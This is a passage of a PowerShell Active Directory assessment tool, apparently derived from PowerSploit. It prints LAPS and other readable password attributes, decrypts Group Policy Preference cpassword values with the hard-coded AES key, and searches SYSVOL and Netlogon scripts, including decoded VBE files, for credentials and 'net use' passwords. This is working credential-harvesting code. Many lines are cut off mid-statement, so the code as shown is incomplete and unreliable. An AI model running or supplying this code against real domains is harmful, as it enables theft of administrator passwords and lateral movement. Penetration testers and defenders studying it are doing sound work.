if ($($Object.info) -and $($Object.info) -ne '') {
$Value = "info:`t`t`t`t$($object.info)"
Invoke-ScreenPrinter -Value $Value -Class Hint
}
if ($($Object.'msLAPS-PasswordExpirationTime') -and $($Object.'msLAPS-PasswordExpirationTim
$Value = "LAPS version configured:`t`tWindows LAPS (native)"
Invoke-ScreenPrinter -Value $Value -Class Secure
if ($($Object.'msLAPS-Password') -and $($Object.'msLAPS-Password') -ne '') {
$msLAPSObject = $($Object.'msLAPS-Password') | convertfrom-json
$Value = "msLAPS-Username:`t`t`t$($msLAPSObject.n)"
Invoke-ScreenPrinter -Value $Value -Class Finding
$Value = "msLAPS-Password:`t`t`t$($msLAPSObject.p)"
Invoke-ScreenPrinter -Value $Value -Class Finding
} elseif ($($Object.'msLAPS-EncryptedPassword') -and $($Object.'msLAPS-EncryptedPassword
$Value = "LAPSCredentials:`t`t`tAccessible but encrypted"
Invoke-ScreenPrinter -Value $Value -Class Hint
}
$PasswordExpirationTime = [DateTime]::FromFileTime($($Object.'msLAPS-PasswordExpiration
$Value = "msLAPS-PasswordExpirationTime:`t`t$($PasswordExpirationTime)"
Invoke-ScreenPrinter -Value $Value
}
if ($($Object.'ms-mcs-AdmPwdExpirationTime') -and $($Object.'ms-mcs-AdmPwdExpirationTime')
$Value = "LAPS version configured:`t`tMicrosoft LAPS (legacy)"
Invoke-ScreenPrinter -Value $Value -Class Secure
if ($($Object.'ms-Mcs-AdmPwd') -and $($Object.'ms-Mcs-AdmPwd') -ne '') {
$Value = "ms-Mcs-AdmPwd:`t`t`t$($Object.'ms-Mcs-AdmPwd')"
Invoke-ScreenPrinter -Value $Value -Class Finding
}
$Value = "ms-Mcs-AdmPwdExpirationTime:`t`t$($Object.'ms-MCS-AdmPwdExpirationTime')"
Invoke-ScreenPrinter -Value $Value
}
if ($($Object.UnixUserPassword) -and $($Object.UnixUserPassword) -ne '') {
$Value = "UnixUserPassword:`t`t`t$([System.Text.Encoding]::ASCII.GetString($Object.UnixUse
Invoke-ScreenPrinter -Value $Value -Class Finding
}
if ($($Object.UserPassword) -and $($Object.UserPassword) -ne '') {
$Value = "UserPassword:`t`t`t$([System.Text.Encoding]::ASCII.GetString($Object.UserPasswor
Invoke-ScreenPrinter -Value $Value -Class Finding
}
if ($($Object.unicodePwd) -and $($Object.unicodePwd) -ne '') {
$Value = "unicodePwd:`t`t`t`t$([System.Text.Encoding]::ASCII.GetString($Object.unicodePwd))"
Invoke-ScreenPrinter -Value $Value -Class Finding
}
if ($($Object.msSFU30Password) -and $($Object.msSFU30Password) -ne '') {
$Value = "msSFU30Password:`t`t`t$([System.Text.Encoding]::ASCII.GetString($Object.msSFU3
Invoke-ScreenPrinter -Value $Value -Class Finding
}
if ($($Object.PrincipalsAllowedToRetrieveManagedPassword) -and $($Object.PrincipalsAllowedTo
$Value = "AllowedToRetrieveManagedPassword:`t$($(($Object.PrincipalsAllowedToRetrieveMa
Invoke-ScreenPrinter -Value $Value -Class Hint
}
if ($($Object.'msDS-AllowedToDelegateTo') -and $($Object.'msDS-AllowedToDelegateTo') -ne '') {
$Value = "msDS-AllowedToDelegateTo:`t`t$($($Object.'msDS-AllowedToDelegateTo') -join "`n`
Invoke-ScreenPrinter -Value $Value -Class Hint
}
if ($($Object.'AllowedToActOnBehalfOfOtherIdentity') -and $($Object.'AllowedToActOnBehalfOfOt
$Value = "AllowedToActOnBehalfOfOtherIdentity:$($($Object.'AllowedToActOnBehalfOfOtherId
Invoke-ScreenPrinter -Value $Value -Class Hint
}
if ($($Object.RunningOnServer) -and $($Object.RunningOnServer) -ne '') {
$Value = "RunningOnServer:`t`t`t$($Object.RunningOnServer)"
Invoke-ScreenPrinter -Value $Value -Class Hint
$Value = "UsedForAzureAD:`t`t`t$($Object.UsedForAzureAD)"
Invoke-ScreenPrinter -Value $Value -Class Hint
}
if ($($Object.accountexpires) -and $($Object.accountexpires) -ne 'NEVER') {
if ($($Object.accountexpires) -ge (Get-Date)) {
$Value = "accountexpires:`t`t`tThis identity expires on $($Object.accountexpires)"
Invoke-ScreenPrinter -Value $Value -Class Hint
} elseif ($($Object.accountexpires).toFileTime() -ne 0) {
$Value = "accountexpires:`t`t`tThis identity has been expired since $($Object.accountexpires)
Invoke-ScreenPrinter -Value $Value -Class Note
}
}
if ($($Object.pwdLastSet) -and $($Object.pwdLastSet) -ne '') {
$Value = "pwdLastSet:`t`t`t`t$($object.pwdLastSet)"
if ($($Object.pwdLastSet).toFileTime() -eq 0) {
$Value = "pwdLastSet:`t`t`t`tUser must change password at next logon"
Invoke-ScreenPrinter -Value $Value -Class Note
} elseif ($($Object.pwdLastSet) -le $FindingPwdLastSet) {
Invoke-ScreenPrinter -Value $Value -Class Finding
} elseif ($($Object.pwdLastSet) -le $DatePwdLastSet) {
Invoke-ScreenPrinter -Value $Value -Class Finding
} else {
Invoke-ScreenPrinter -Value $Value
}
}
if ($($Object.lastLogonTimestamp) -and $($Object.lastLogonTimestamp) -ne '') {
if ($($Object.userAccountControl) -like "*WORKSTATION_TRUST_ACCOUNT*" -and $($Objec
$Value = "lastLogonTimestamp:`t`t`t$($object.lastLogonTimestamp) (Identity is likely not onlin
Invoke-ScreenPrinter -Class Note -Value $Value
} else {
$Value = "lastLogonTimestamp:`t`t`t$($object.lastLogonTimestamp)"
Invoke-ScreenPrinter -Value $Value
}
}
if ($($Object.userAccountControl) -and $($Object.userAccountControl) -ne '') {
$Value = "userAccountControl:`t`t`t$($object.userAccountControl)"
if ($($Object.userAccountControl) -match '\b(DONT_REQ_PREAUTH|ENCRYPTED_TEXT_PW
Invoke-ScreenPrinter -Value $Value -Class Finding
} elseif ($($Object.userAccountControl) -match '\b(ACCOUNTDISABLE|SMARTCARD_REQUIR
Invoke-ScreenPrinter -Value $Value -Class Secure
} elseif ($($Object.userAccountControl) -match '\b(PASSWD_NOTREQD|TRUSTED_FOR_DEL
Invoke-ScreenPrinter -Value $Value -Class Hint
} else {
Invoke-ScreenPrinter -Value $Value
}
}
if ($($Object.admincount) -and $($Object.admincount) -ne '') {
$Value = "admincount:`t`t`t`tThis identity is or was member of a high privileged admin group"
Invoke-ScreenPrinter -Value $Value -Class Hint
}
if ($($Object.OwnerSID) -and $($Object.OwnerSID) -ne '' -and [int32]$($Object.OwnerSID.Value).s
# Search for non-default AD accounts with SID greater -1000
if ($($Object.OwnerName) -and $($Object.OwnerName) -ne '') {
$Value = "OwnerOfIdentity:`t`t`t$($Object.OwnerName)"
} else {
$Value = "OwnerOfIdentity:`t`t`t$($Object.OwnerSID)"
}
Invoke-ScreenPrinter -Value $Value -Class Hint
}
<# removed displaying 'extensiondata', as no usefull information comes from it anymore
if ($Object.extensiondata -and $Object.extensiondata -ne '') {
$Object.extensiondata = $Object.extensiondata | ForEach-Object {[System.Text.Encoding]::ASC
$Value = "extensiondata:`t`t`t$($Object.extensiondata)"
Invoke-ScreenPrinter -Value $Value -Class Hint
} #>
# Put one last empty line to the screen
Invoke-ScreenPrinter -Value " "
} else {
Invoke-ScreenPrinter @ScreenPrinterArguments
}
}
########################################################
#
# Stuff by Chris Campbell (@obscuresec)
#
########################################################
function Get-GPPInnerField {
# helper function to parse fields from xml files for Get-GPPPassword
# Author: Chris Campbell (@obscuresec), adjusted by Alexander Sturz (@_61106960_)
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $T
[ValidateNotNullOrEmpty()]
[String]
$File
)
PROCESS {
try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
# check for the cpassword field
if ($Xml.innerxml -match 'cpassword') {
$Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($_.cpassword) {
$Cpassword = $_.cpassword
if ($Cpassword -and ($Cpassword -ne '')) {
Write-Verbose "[Get-GPPInnerField] Crypted password in $($File)"
$DecryptedPassword = Get-GPPDecryptedCpassword $Cpassword
$UserPassword = $DecryptedPassword
Write-Verbose "[Get-GPPInnerField] Decrypted password '$($UserPassword)'"
}
if ($_.userName) {
$UserName = $_.userName
}
elseif ($_.accountName) {
$UserName = $_.accountName
}
if ($_.newName) {
$UserName = $_.newName
}
elseif ($_.runAs) {
$UserName = $_.runAs
}
try {
$Changed = $_.ParentNode.changed
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for $($F
}
}
}
}
# check for the AutoAdminLogon
elseif ($filename -match 'Registry.xml' -and $xml.InnerXml -match 'AutoAdminLogon') {
try {
$Xml.GetElementsByTagName('Properties') | ForEach-Object {
if ($_.name -match 'DefaultUserName') {
$UserName = $_.value
}
if ($_.name -match 'DefaultPassword') {
$UserPassword = $_.value
}
if ($_.name -match 'DefaultDomainName') {
$UserDomain = $_.value
}
try {
$Changed = $_.ParentNode.changed
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for $($F
}
}
}
catch {
Write-Verbose "[Get-GPPInnerField] Unable to retrieve AutoAdminLogon data of $($File)"
}
}
$GPPPassword = New-Object PSObject
if ($UserName) {$GPPPassword | Add-Member Noteproperty 'UserName' $UserName}
if ($UserPassword) {$GPPPassword | Add-Member Noteproperty 'Password' $UserPassword}
if ($UserDomain) {$GPPPassword | Add-Member Noteproperty 'Domain' $UserDomain}
if ($Changed) {$GPPPassword | Add-Member Noteproperty 'Changed' $Changed}
if ($file) {$GPPPassword | Add-Member Noteproperty 'File' $File}
$GPPPassword
}
catch {
Write-Warning "[Get-GPPInnerField] Error parsing file $($File) : $_"
}
}
}
function Get-GPPDecryptedCpassword {
# helper function that decodes and decrypts password for Get-GPPPassword
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
[String]
$Cpassword
)
PROCESS {
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
Write-Verbose "[Get-GPPInnerField] Try to decrypt $($Cpassword)"
$Base64Decoded = [Convert]::FromBase64String($Cpassword)

# Make sure System.Core is loaded


[System.Reflection.Assembly]::LoadWithPartialName("System.Core") | Out-Null
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decode
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {
Write-Error $Error[0]
}
}
}
function Get-GPPPassword {
<#
.SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Prefe
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec), adjusted by Alexander Sturz (@_61106960_)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPPassword searches a domain controller for any type of *.xml with a cpassword value in the SY
.PARAMETER Domain
Specifies the domain to use to search for plaintext passwords, defaults to the current domain.
.PARAMETER Server
Specify the domain controller to search for.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials for authentication to the targe
.EXAMPLE
Get-GPPPassword
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MAC
.EXAMPLE
Get-GPPPassword -Domain DEMO.LAB
NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MAC
NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MAC
.EXAMPLE
Get-GPPPassword -Server SRV1.EXAMPLE.COM
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\SRV1.EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB98
.EXAMPLE
Get-GPPPassword | ForEach-Object {$_.password} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
[String[]]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL, # dummy parameter for searcher object
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
if ($PSBoundParameters['Server']) {
$Target = $Server
write-verbose "[Get-GPPPassword] Using the Domain Controller $($Server) to search for encryp
}
elseif ($PSBoundParameters['Domain']) {
$Target = $Domain
write-verbose "[Get-GPPPassword] Using domain $($Target) to search for encrypted passwords
}
elseif ($PSBoundParameters['Credential']) {
# if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get
write-verbose write-verbose "[Get-GPPPassword] Using provided credentials $($Credential.use
$DomainObject = Get-Domain -Credential $Credential
$Target = $DomainObject.Name
}
else {
# otherwise, resort to GetCurrentDomain to retrieve the current domain object
$Target = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Ob
write-verbose "[Get-GPPPassword] Using current domain object $($Target) to search for encryp
}
if ($PSBoundParameters['Credential']) {$LogonToken = Invoke-UserImpersonation -Credential $Cr

$XMLFiles = @()
# discover potential domain GPP files containing passwords, not complaining in case of denied ac
Write-Verbose "[Get-GPPPassword] Searching for xml files in '\\$Target\SYSVOL\*\Policies'. This
$XMLFiles = Get-ChildItem -Force -Path "\\$Target\SYSVOL\*\Policies" -Recurse -ErrorAction Sile
if ( -not $XMLFiles) {
write-verbose '[Get-GPPPassword] No preference xml file with enrypted cpassword found'
}
else {
$Filecount = $XMLFiles | Measure-Object | Select-Object -ExpandProperty Count
if ($Filecount -eq '1' ) {$varFile = 'file'} else {$varFile = 'files'}
Write-Verbose "[Get-GPPPassword] Found $Filecount $varFile that could contain passwords"
ForEach ($File in $XMLFiles) {
$Result = (Get-GppInnerField $File.Fullname)
$Result
}
}

if ($LogonToken) {Invoke-RevertToSelf -TokenHandle $LogonToken}


}
}
########################################################
#
# Stuff by Alexander Sturz (@_61106960_)
#
########################################################
function Get-NetlogonFile {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Retrieves possible passwords and other sensitive information from the Netlogon directory.
Get-NetlogonFile searches a Domain Controller SYSVOL share with below subdirectories like NETLOG
.PARAMETER Domain
Specifies the domain to search for files, defaults to the current domain.
.PARAMETER Server
Specify a certain domain controller to search for files.
.PARAMETER Pattern
Change the search pattern to a new value. RegEx is allowed
If no search pattern is provided, the script searches for password exposure in 'net use' syntax if a passw
In addition it searches for the following words case insensitive "passwor(d/t), passwd, pwd, credential, p
.PARAMETER Extension
Change the file extensions to search for.
The default search pattern is ('*.txt','*.bat','*.ini','*.conf','*.xml','*.cnf','*.cmd','vbs','vbe').
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials for authentication to the targe
.EXAMPLE
Get-NetlogonFile
.EXAMPLE
Get-NetlogonFile -Domain 'contoso.com'
.EXAMPLE
Get-NetlogonFile -Server 'dc1.contoso.com'
.EXAMPLE
Get-NetlogonFile -Pattern '^password = [Ss]ecret'
.EXAMPLE
Get-NetlogonFile -Extension cmd,txt,in*,bak
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Passw0rd1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\johndoe', $SecPassword
Get-NetlogonFile -Domain contoso.com -Cred $Cred
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
[String[]]
$Domain,
[ValidateNotNullOrEmpty()]
[String[]]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL, # dummy parameter for searcher object
[ValidateNotNullOrEmpty()]
[String[]]
$Pattern,
[ValidateNotNullOrEmpty()]
[String[]]
$Extension,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ErrorActionPreference = "Continue"
if ($PSBoundParameters['Credential']) {$LogonToken = Invoke-UserImpersonation -Credential $Cr
}
PROCESS {
$Targets = @()
if ($PSBoundParameters['Server']) {
ForEach ($Entry in $Server) {
$Targets += $Entry.Trim('\ ')
}
write-verbose "[Get-NetlogonFile] Using the Domain Controller '$Server' to search for sensitive i
}
elseif ($PSBoundParameters['Domain']) {
ForEach ($Entry in $Domain) {
$Targets += $Entry.Trim('\ ')
}
write-verbose "[Get-NetlogonFile] Using domain '$Targets' to search for sensitive information"
}
elseif ($PSBoundParameters['Credential']) {
# if no -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-
write-verbose write-verbose "[Get-NetlogonFile] Using provided credentials '$Credential.usernam
$DomainObject = Get-Domain -Credential $Credential
$Targets += $DomainObject.Name
}
else {
$Targets += [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-O
write-verbose "[Get-NetlogonFile] Using current domain object '$Targets' to search for sensitive
}
if ($PSBoundParameters['Pattern']) {
$SearchKeyWords = @()
foreach ($PatternEntry in $Pattern) {
$SearchKeyWords += $Pattern
}
}
else {
$SearchKeyWords = @(
".*(?<keyword>[Pp][aA][sS][sS][wW][oO][rR]([dD]|[tT])).*", # passwor(dt)
".*(?<keyword>[Pp][aA][sS][sS][wW][dD]).*", # passwd
".*(?<keyword>[Pp][wW][dD]).*", # pwd
".*(?<keyword>[Cc][Rr][Ee][Dd][Ee][Nn][Tt][Ii][Aa][Ll]).*", # credential
".*(?<keyword>[Pp][Ss][Ee][Xx][Ee][Cc]).*", # psexec
"net use (?<devicename>(\w|\*|LPT\d):?) (?<path>\\\\?.*?)(( (?<user>/user:((?<domain>[\w.]*)\\)
)
}
if ($PSBoundParameters['Extension']) {
$SearchExt = @()
foreach ($ExtensionEntry in $Extension) {
$SearchExt += '*.' + $ExtensionEntry
}
}
else {
$SearchExt = @('*.txt','*.bat','*.ini','*.conf','*.xml','*.cnf','*.cmd','*.vbs','*.vbe')
}
foreach ($Target in $Targets) {
# discover potential sysvol files not complaining in case of denied access to a directory or a file
Write-Verbose "[Get-NetlogonFile] Searching for files of type '$SearchExt' in '\\$Target\SYSVOL
$Files = @()
$Files = Get-ChildItem -Force -Path "\\$Target\SYSVOL\" -Recurse -ErrorAction SilentlyContinu
if (-not $Files) {
write-verbose '[Get-NetlogonFile] No files found'
}
else {
$Filecount = $Files | Measure-Object | Select-Object -ExpandProperty Count
if ($Filecount -eq '1' ) {$varFile = 'file'} else {$varFile = 'files'}
Write-Verbose "[Get-NetlogonFile] Found $Filecount $varFile that possibly could contain se
Write-Verbose "[Get-NetlogonFile] Searching for pattern '$SearchKeyWords'"
ForEach ($File in $Files) {
if ($file.Extension -eq ".vbe") {
Write-Verbose "[Get-NetlogonFile] Try to read and decode the encoded VBE file '$File'"
$FileContentPlain = $(Get-DecodedVBE -EncodedData $(Get-Content $file))
} else {
Write-Verbose "[Get-NetlogonFile] Try to read file '$File'"
$FileContentPlain = Get-Content $file -Raw
}
if (-not $PSBoundParameters['Pattern']) {
$creds = @()
try {
Write-Verbose "[Get-NetlogonFile] Searching for sensitive information exposure"
foreach ($search in $SearchKeyWords) {
$SearchResults = [Regex]::Matches($FileContentPlain,$search)

foreach($cred in $SearchResults) {
if ($($cred.Groups["username"].value) -and $($cred.Groups["password"].value))
$obj = [pscustomobject]@{
"FilePath" = $File.FullName
"FoundValue" = $cred.value
"Username" = $($cred.Groups["domain"].value)+"\"+$($cred.Groups["userna
"Password" = $cred.Groups["password"].value
}
$creds += $obj
}
elseif ($($cred.Groups["keyword"].value) -ne '') {
$obj = [pscustomobject]@{
"FilePath" = $File.FullName
"FoundValue" = $cred.value
}
$creds += $obj
}
}
}
$creds
}
catch {
Write-Verbose "[Get-NetlogonFile] There was an error with the provided data"
}
}
else {
Write-Verbose "[Get-NetlogonFile] Fallback to provided search pattern"
$SearchResults = $($FileContentPlain -split "`n") | Select-String -Pattern $SearchKeyWo
if ($SearchResults -and $SearchResults -ne '') {
$obj = [pscustomobject]@{
"FilePath" = $File.FullName
"FoundValue" = $SearchResults.Line
}
$obj
}
}
}
}
}
if ($LogonToken) {Invoke-RevertToSelf -TokenHandle $LogonToken}
}
}
Function Get-DecodedVBE {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Decodes an encoded 'VBE' string.
It is based on the original Microsoft VB script https://gallery.technet.microsoft.com/Encode-and-Decode
and the Python one of Didier Stevens https://github.com/DidierStevens/DidierStevensSuite/blob/master
.PARAMETER EncodedData
Takes the encoded VBE string
.EXAMPLE
Get-DecodedVBE -EncodedData "#@~^C2oAAA==v,sr^+,1ls+=~Hbo.lDkGUxW4k \(/@#@&v~.■DkkG
.EXAMPLE
Get-Content "c:\encodedfile.vbe" | Get-DecodedVBE
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
[string]
$EncodedData
)
PROCESS {
try {
# remove start and stop pattern
$VbeData = $EncodedData -match '#@~\^......==(.+)......==\^#~@'
if ($VbeData -eq $true) {
$VbeData = $Matches[1]
Write-Verbose "[Get-DecodedVBE] Found VBE trailing characters"
}
# replace special characters
$VbeData = $VbeData.Replace('@&',"`n").Replace('@#',"`r").Replace('@*','>').replace('@!','<').rep
# initialize dict with static hex values as a list of three characters each, e.g. 65: ['w', 'E', 'B']
$VbeDecList = @{
"9" = 0x57,0x6E,0x7B
"10" = 0x4A,0x4C,0x41
"11" = 0x0B,0x0B,0x0B
"12" = 0x0C,0x0C,0x0C
"13" = 0x4A,0x4C,0x41
"14" = 0x0E,0x0E,0x0E
"15" = 0x0F,0x0F,0x0F
"16" = 0x10,0x10,0x10
"17" = 0x11,0x11,0x11
"18" = 0x12,0x12,0x12
"19" = 0x13,0x13,0x13
"20" = 0x14,0x14,0x14
"21" = 0x15,0x15,0x15
"22" = 0x16,0x16,0x16
"23" = 0x17,0x17,0x17
"24" = 0x18,0x18,0x18
"25" = 0x19,0x19,0x19
"26" = 0x1A,0x1A,0x1A
"27" = 0x1B,0x1B,0x1B
"28" = 0x1C,0x1C,0x1C
"29" = 0x1D,0x1D,0x1D
"30" = 0x1E,0x1E,0x1E
"31" = 0x1F,0x1F,0x1F
"32" = 0x2E,0x2D,0x32
"33" = 0x47,0x75,0x30
"34" = 0x7A,0x52,0x21
"35" = 0x56,0x60,0x29
"36" = 0x42,0x71,0x5B
"37" = 0x6A,0x5E,0x38
"38" = 0x2F,0x49,0x33
"39" = 0x26,0x5C,0x3D
"40" = 0x49,0x62,0x58
"41" = 0x41,0x7D,0x3A
"42" = 0x34,0x29,0x35
"43" = 0x32,0x36,0x65
"44" = 0x5B,0x20,0x39
"45" = 0x76,0x7C,0x5C
"46" = 0x72,0x7A,0x56
"47" = 0x43,0x7F,0x73
"48" = 0x38,0x6B,0x66
"49" = 0x39,0x63,0x4E
"50" = 0x70,0x33,0x45
"51" = 0x45,0x2B,0x6B
"52" = 0x68,0x68,0x62
"53" = 0x71,0x51,0x59
"54" = 0x4F,0x66,0x78
"55" = 0x09,0x76,0x5E
"56" = 0x62,0x31,0x7D
"57" = 0x44,0x64,0x4A
"58" = 0x23,0x54,0x6D
"59" = 0x75,0x43,0x71
"60" = 0x4A,0x4C,0x41
"61" = 0x7E,0x3A,0x60
"62" = 0x4A,0x4C,0x41
"63" = 0x5E,0x7E,0x53
"64" = 0x40,0x4C,0x40
"65" = 0x77,0x45,0x42
"66" = 0x4A,0x2C,0x27
"67" = 0x61,0x2A,0x48
"68" = 0x5D,0x74,0x72
"69" = 0x22,0x27,0x75
"70" = 0x4B,0x37,0x31
"71" = 0x6F,0x44,0x37
"72" = 0x4E,0x79,0x4D
"73" = 0x3B,0x59,0x52
"74" = 0x4C,0x2F,0x22
"75" = 0x50,0x6F,0x54
"76" = 0x67,0x26,0x6A
"77" = 0x2A,0x72,0x47
"78" = 0x7D,0x6A,0x64
"79" = 0x74,0x39,0x2D
"80" = 0x54,0x7B,0x20
"81" = 0x2B,0x3F,0x7F
"82" = 0x2D,0x38,0x2E
"83" = 0x2C,0x77,0x4C
"84" = 0x30,0x67,0x5D
"85" = 0x6E,0x53,0x7E
"86" = 0x6B,0x47,0x6C
"87" = 0x66,0x34,0x6F
"88" = 0x35,0x78,0x79
"89" = 0x25,0x5D,0x74
"90" = 0x21,0x30,0x43
"91" = 0x64,0x23,0x26
"92" = 0x4D,0x5A,0x76
"93" = 0x52,0x5B,0x25
"94" = 0x63,0x6C,0x24
"95" = 0x3F,0x48,0x2B
"96" = 0x7B,0x55,0x28
"97" = 0x78,0x70,0x23
"98" = 0x29,0x69,0x41
"99" = 0x28,0x2E,0x34
"100" = 0x73,0x4C,0x09
"101" = 0x59,0x21,0x2A
"102" = 0x33,0x24,0x44
"103" = 0x7F,0x4E,0x3F
"104" = 0x6D,0x50,0x77
"105" = 0x55,0x09,0x3B
"106" = 0x53,0x56,0x55
"107" = 0x7C,0x73,0x69
"108" = 0x3A,0x35,0x61
"109" = 0x5F,0x61,0x63
"110" = 0x65,0x4B,0x50
"111" = 0x46,0x58,0x67
"112" = 0x58,0x3B,0x51
"113" = 0x31,0x57,0x49
"114" = 0x69,0x22,0x4F
"115" = 0x6C,0x6D,0x46
"116" = 0x5A,0x4D,0x68
"117" = 0x48,0x25,0x7C
"118" = 0x27,0x28,0x36
"119" = 0x5C,0x46,0x70
"120" = 0x3D,0x4A,0x6E
"121" = 0x24,0x32,0x7A
"122" = 0x79,0x41,0x2F
"123" = 0x37,0x3D,0x5F
"124" = 0x60,0x5F,0x4B
"125" = 0x51,0x4F,0x5A
"126" = 0x20,0x42,0x2C
"127" = 0x36,0x65,0x57
}
# initialize dict with static int values as a static key to choose the character of the list above, therefo
$VbePosList = @{
"0" = 0
"1" = 1
"2" = 2
"3" = 0
"4" = 1
"5" = 2
"6" = 1
"7" = 2
"8" = 2
"9" = 1
"10" = 2
"11" = 1
"12" = 0
"13" = 2
"14" = 1
"15" = 2
"16" = 0
"17" = 2
"18" = 1
"19" = 2
"20" = 0
"21" = 0
"22" = 1
"23" = 2
"24" = 2
"25" = 1
"26" = 0
"27" = 2
"28" = 1
"29" = 2
"30" = 2
"31" = 1
"32" = 0
"33" = 0
"34" = 2
"35" = 1
"36" = 2
"37" = 1
"38" = 2
"39" = 0
"40" = 2
"41" = 0
"42" = 0
"43" = 1
"44" = 2
"45" = 0
"46" = 2
"47" = 1
"48" = 0
"49" = 2
"50" = 1
"51" = 2
"52" = 0
"53" = 0
"54" = 1
"55" = 2
"56" = 2
"57" = 0
"58" = 0
"59" = 1
"60" = 2
"61" = 0
"62" = 2
"63" = 1
}
$CharIndex = -1
foreach ($character in $VbeData.ToCharArray()) {
# get hex value of character
$Byte = [byte]$character
# increase $index to change modulo result each run
if ($Byte -lt 128) {
$CharIndex += 1
}
# check if printable character and do the decoding
if (($Byte -eq 9 -or $Byte -gt 31 -and $Byte -lt 128) -and ($Byte -ne 60 -and $Byte -ne 62 -and $
$CombinationNumber = $($VbePosList["$($CharIndex % 64)"])
[char]$character = $($VbeDecList["$Byte"])[$CombinationNumber]
}
$DecodedVBE += $character -join ''
}
return $DecodedVBE
}

catch {
Write-Verbose "[Get-DecodedVBE] No VBE content detected"
}
}
}
function Invoke-CheckExchange {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Retrieves Microsoft Exchange version via OWA https request
.PARAMETER Identity
Specifies the FQDN or at least the Exchange server hostname.
.EXAMPLE
Invoke-CheckExchange -Identity ex.contoso.com
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
[String[]]
$Identity
)
BEGIN {
$ErrorActionPreference = "Continue"
$OriginalProgressPreference = $Global:ProgressPreference
